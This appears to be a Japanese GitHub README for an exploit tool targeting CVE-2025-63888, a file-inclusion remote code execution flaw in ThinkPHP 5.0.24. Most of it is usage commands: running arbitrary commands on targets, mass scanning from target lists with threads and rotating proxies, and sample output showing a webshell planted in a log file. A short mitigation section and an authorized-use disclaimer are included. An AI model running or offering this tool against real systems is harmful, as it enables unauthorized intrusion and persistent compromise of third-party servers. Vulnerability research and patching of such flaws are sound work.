
CVE-2025-63888(ThinkPHP 5.0.24 ファイルインクルード RCE 脆弱性)を検出・テストするためのセキュリティ研究ツール
ThinkPHP 5.0.24 における CVE-2025-63888 脆弱性を検出・テストするためのセキュリティ研究ツールです。ファイルインクルージョン攻撃を介したリモートコード実行を可能にします。
このツールは、許可されたセキュリティテストおよび教育目的のみで使用してください。許可なくコンピュータシステムにアクセスすることは違法です。このツールは、自分の所有するシステム、または明示的な書面による許可を得たシステムでのみ使用してください。
CVE-2025-63888 は、ThinkPHP 5.0.24 における重大なリモートコード実行脆弱性です。この脆弱性は thinkphp/library/think/template/driver/File.php にある read 関数に存在し、攻撃者が view() 関数のテンプレートパスを操作することで、ファイルインクルージョン攻撃を介して任意のコードを実行できます。
CVSS スコア: 9.8(Critical)
影響を受けるバージョン: ThinkPHP 5.0.24(該当バージョン)
脆弱性ファイル: thinkphp/library/think/template/driver/File.php
脆弱性関数: read() メソッド
# Clone the repository
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x cve_2025_63888_exploit.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py
# Install dependencies
pip install requests
# Single target
python3 cve_2025_63888_exploit.py -u http://target.com
# Execute custom command
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
# With threading for faster scanning
python3 cve_2025_63888_exploit.py -u http://target.com -t 5
# Verbose output for debugging
python3 cve_2025_63888_exploit.py -u http://target.com -v
# Single proxy
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
-u, --url ターゲット URL
-f, --file ターゲット URL を含むファイル(1行に1つ)
-c, --command 実行するコマンド(デフォルト: id)
-t, --threads スレッド数(デフォルト: 1)
-o, --output 出力ファイル(デフォルト: uknf_results.json)
-v, --verbose 詳細ログの有効化
--proxy プロキシ URL(例: http://127.0.0.1:8080)
--proxy-list プロキシ URL を含むファイル(1行に1つ)
スクリプトは詳細結果を JSON ファイルで生成します。
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:05:35.763409",
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/index.php/index/index/view",
"webshell_created": true,
"webshell_path": "../../../runtime/log/2025/11/18.log"
}
view() 関数を使用した脆弱なエンドポイントを発見ThinkPHP 5.0.24 を使用している場合:
すぐにアップグレードする:
パス検証を実装する:
view() 関数で厳格なパス検証を追加../、..)をブロックコードレベルの修正:
realpath() を使用してファイルが許可ディレクトリ内にあることを確認python3 cve_2025_63888_exploit.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"
# Single proxy
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
貢献は歓迎します!Pull Request を自由に送信してください。
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)問題が発生した場合や提案がある場合は、GitHub で Issue を開いてください。
このプロジェクトは MIT ライセンスの下で提供されています。詳細は LICENSE ファイルを参照してください。
このツールが役に立った場合は、GitHub でスターをよろしくお願いします!
このツールは教育および許可されたセキュリティテスト目的でのみ提供されています。著者は、このプログラムの誤用または損害について一切の責任を負いません。ユーザーは、システムをテストする前に適切な許可を得ていることを確認する責任があります。
このツールが役に立ち、プロジェクトを支援したい場合:
Bitcoin(BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum(ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
ご支援ありがとうございます! 🙏